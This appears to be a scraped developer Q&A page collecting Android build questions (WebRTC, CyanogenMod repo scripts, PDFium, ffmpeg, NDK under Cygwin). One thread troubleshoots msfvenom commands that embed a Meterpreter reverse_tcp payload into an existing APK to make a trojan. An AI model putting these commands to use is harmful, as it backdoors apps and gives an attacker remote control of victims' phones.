webrtc_android native api not find the AppRTCMobile example - android

I'm on ubuntu 16.04 and try to install on my lollipop 5.1 tablet, native api webrtc example (AppRtcMobile example).
I successfully installed chromium on my lollipop device. Now after removing the folders used to install chromium on the lollipop device from the ubuntu pc I'm trying to compile an example project about webrtc using the grandle system or adb at the command line. But the compilation always stops at the same point.
Unfortunately, I'm new to git, ninja, fetch and gn, so I do not understand where the error is.
I follow the procedure that I describe below (as I understand that the commands work) and create 3 different installation directories so as to install even on devices other than "arm".
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:/my-path/to/depot_tools
mkdir ~/webrTEST && cd ~/webrtcTEST
fetch --nohooks webrtc_android
gclient sync
./build/install-build-deps.sh
gn gen out/DebugArm --args='target_os="android" target_cpu="arm"'
gn gen out/DebugArm64 --args='target_os="android" target_cpu="arm64"'
gn gen out/DebugX64 --args='target_os="android" target_cpu="x64"'
ninja -C out/DebugArm
ninja -C out/DebugArm64
ninja -C out/DebugX64
. build/android/envsetup.sh
ninja -C out/DebugX64 AppRTCMobile
I try to study more than one "tutorial" and the offial guide too, but ninja retur everytime the same result:
myuser#mymachine:~~/webrtcTEST/src$ ninja -C out/DebugX64 AppRTCMobile
ninja: Entering directory `out/DebugX64'
ninja: no work to do.
Anyone can suggest my where is/sre my error?
regards
bkt
UPDATE:
using ls command not find AppRTCMobile but other app example or other ...
the command:
ninja -C out/DebugX64 :xxxx/xxxx/xxxx
work great ... so at these point the question change into:
where is the old AppRTCMobile example located or which is the new name of the example that allows me to android lollipop to use the server google appr.tc ??
Any how if in my manner of install the webrtc-android git there are some error please help my to find it.
regards
bkt

I did not understand the reason, but by deleting everything and re executing the procedure written in the application I got the desired result and I compiled AppRTCMobile.

Related

metasploit: Malformed version number string when selecting dalvik as architecture

I’m trying to create a Trojan apk for android using metasploit, this is the command I’m using:
msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
And I'm getting this error:
Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39
USER TTY FROM LOGIN# IDLE JCPU PCPU WHAT
user123 tty7 :0 09:32 1:23m 1:10 0.13s /sbin/upstart --user
2.0.2-dirty
Then I tried selecting different architecture e.g. java:
msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk
and it worked (something-Out.apk was generated). So it seems like the Malformed version number string error only happens when dalvik is selected as the architecture, any idea why this is happening and how to fix it?
I'm doing this on Ubuntu on VirtualBox, which is run from a Mac. Any help will be appreciated, thanks!
Credits to:
https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/
Had the same problem, but I was trying to run a simpler version of the code (which works obviously). After searching in forums, turned out to be a problem with apktool. I downloaded apktool using sudo apt-get install apktool, but that version doesn't work as it should.
Once removed with sudo apt-get remove apktool I downloaded the latest version from the website and it worked.
I know it's been a year, but I've been searching for days. Hope it helps... someone.
I had the same problem with msfvenom. Try running "msfupdate" it will download a 70 mib package and it will fix your problem.
You just need follow this syntax:
EX:
rmsfvenom -a java --platform android -x z.apk -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -o o.apk
So also if you using -o will not need 'R'

repo: command not found in automated bash script to build cyanogenmod

I am running linux mint 17.2, I have repo installed and the path to repo is added to my .bashrc. I have previously initiated my repo.
I have followed the instructions on the Android Source Downloading and How to Build CyanogenMod pages.
The problem is: I have written a bash script to automate a number of the commands I would like to use to start a build. My script in a simple form is the following:
#!/bin/bash
cd ~/Android/Cyanogenmod/cm12_1/android/system
source build/envsetup.sh
repo sync --force-sync -j8
exec $SHELL
When I run this, it reports:
/home/username/Desktop/Cyanogenmod_cm12_1_Grouper_Build : line 4 repo: command not found
If I copy and paste each line into a fresh terminal instance (or by just running a script of #!/bin/bash exec $SHELL to open a terminal) it works perfectly.
What I have tried: I have tried including a sleep 10 before the repo sync --force-sync -j8 but that made no difference. I have also tried explicitly initiating the repo and force adding it to my PATH for the current terminal session directly before attempting the repo sync --force-sync -j8. The code for that test was the following:
#!/bin/bash
mkdir -p ~/Android/Cyanogenmod/bin
curl https://storage.googleapis.com/git-repo-downloads/repo > ~/Android/Cyanogenmod/bin/repo
chmod a+x ~/Android/Cyanogenmod/bin/repo
cd ~/Android/Cyanogenmod/cm12_1/android/system/
source build/envsetup.sh
PATH=~/Android/Cyanogenmod/bin/repo:$PATH
repo sync --force-sync -j8
exec $SHELL
The following 2 questions have a similar title, but neither are my question, this and this.
Any help or suggestions would be great, thank you!
To summarize, there turned out to be 2 problems. The first, was in my attempted solution of manually setting the path in the script as PATH=~/Android/Cyanogenmod/bin/repo:$PATH should have been just PATH=~/Android/Cyanogenmod/bin:$PATH.
The second, and overall larger problem, was an incorrectly added PATH variable (to repo) in my .bashrc. This was fixed by adding the line export PATH=$PATH:$HOME/Android/Cyanogenmod/bin to the end of my .profile, followed by logging out/in.

Build PDFium in Android

I am facing a problem. I have to add a PDF reader support to my Android App (now I'm using Mupdf but I need to change it).
I found PDFium project (https://code.google.com/p/pdfium/) and I think it is what I need for my needs.
I haven't too much experience in Android and I've not been able to build it for Android, I've followed the build instructions from here https://code.google.com/p/pdfium/wiki/Build with no good results.
Could you give some hint or advice to achieve build this tool in Android?
Thank you in advance!!!
How to build?
I recommend building on Linux (virtual machine will suffice),
because Windows is officially not supported and there are many problems on newer versions of OS X.
You will need about 60 GB of free space.
install OpenJDK 8
$ mkdir ~/android_src && cd ~/android_src or select any other path
$ repo init -u https://android.googlesource.com/platform/manifest -b android-7.1.1_r28
(detailed description available here)
$ repo sync and wait...
clone this repo (or download zip with its content)
replace makefiles in ~/android_src with corresponding makefiles from this repo
$ cd ~/android_src
$ source build/envsetup.sh
$ cd external/pdfium/fpdfsdk
$ lunch and select architecture
$ mma and wait ~5 minutes
library is available in ~/android_src/out/target/product/generic*/obj/lib/libmod*.so, copy it somewhere
$ rm -r ~/android_src/out before next build
It worked for me, but if doesn't work for you, try installing additional packages listed here.
Source
Build it within the AOSP
https://android.googlesource.com/platform/external/pdfium/
Use mm or mma instructions to build only the pdfium module
I've only successfully built the shared library but haven't take it into practice.

Having problems compiling ffmpeg for Android

I'm trying to compile ffmpeg for Android using this guy script (https://github.com/guardianproject/android-ffmpeg) because it looked like the simplest and the whole NDK is really not my area of expertise.
So let's see what I've done so far:
Downloaded and installed a fresh Ubuntu 12.04 LTS from: http://www.ubuntu.com/download/desktop in a VirtualBox. (had some little problems with video but a few updates later in the terminal ubuntu is up and running)
installed the Android SDk and downloded/unzipped the NDK into /Documents/ndk
I used those commands to install the compiler:
$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install build-essential
$ gcc -v
$ make -v
then sudo install git (or something like that to install git)
then git clone https://github.com/guardianproject/android-ffmpeg.git
then copied from the guys page building section
cd android-ffmpeg
git submodule init
git submodule update
NDK_BASE=/path/to/android-ndk ./configure_make_everything.sh
it mostly goes well until it says:
arm-linux-androideabi-gcc is unable to create an executable file C
compiler test failed
If you think configure made a mistake,.. blaah blahh blaah
I'm not sure what it means or where to go from here.
from this I did some chmod 777 on the folders to make sure stuff can be execute.
also from this I tried his script but without any luck.
help?
decompose what the script 'config_make_everything' is doing.. and run one step at a time...
https://github.com/guardianproject/android-ffmpeg/blob/master/configure_make_everything.sh
each step will create a file like 'config.log' where you can go to the tail and find more details about what went wrong finding the compiler.
When u start using the NDK, IMO, invest a bit of learn curve time going thru its ./doc directory and making sure that you have it integrated correctly. With NDK install, there are some samples. Build a few from CLI just to make sure that the ENV is correct and that the install is good, and that u have at least some idea of the build as a repeatable process. That will prove that you can do good 'cross compiles' with the build tools. Then you can return to guardian.ffmpeg stuff.
IMO - there is alot going on with an NDK build of this project and getting it all to build without understanding any of the underlying configuration / build stack would require lots of luck.

NDK build error with cygwin

i am tying to build a tesseract project to use as a library for my project. I am getting this error with cygwin when trying to build on windows 7 with User Account Controls turned off.
$ /cygdrive/c/android-ndk-r8/ndk-build
SharedLibrary : liblept.so
C:/android-ndk-r8/toolchains/arm-linux-androideabi-4.4.3/prebuilt/windows/bin/../lib/gcc/arm-linux-androideabi/4.4.3/../../../../arm-linux-androideabi/bin/ld.exe: ./obj/local/armeabi/libgnustl_static.a: No such file: Permission denied
collect2: ld returned 1 exit status
/cygdrive/c/android-ndk-r8/build/core/build-binary.mk:369: recipe for target `obj/local/armeabi/liblept.so' failed
make: *** [obj/local/armeabi/liblept.so] Error 1
please let me know what i should do to build the project.
Sorry It's my first time answering a question.
I was having a same issue as yours.
Then I solve it using cygwin bash with command: $ chmod -R 777 /cygdrive/c/android/workspace
C:/Android/workspace is my Eclipse work space.
Some one here gave me the insight
A lot of people have struggled with compiling tesseract under Windows, and Cygwin is normally suggested, however its often not necessary.
Have you tried looking at the tess-two project on github? Its tesseract wrapped with some handy android classes, compiling a running is simply a case of :
git clone git://github.com/rmtheis/tess-two tess
cd tess
cd tess-two
ndk-build
android update project --path .
ant release
I've been able to compile the above on 3 windows7 machines, a mac, and ubuntu without any issues.
if you're developing under windows, go to the file, and change it's premissions to full control.
it will be in /obj dir

Categories

Resources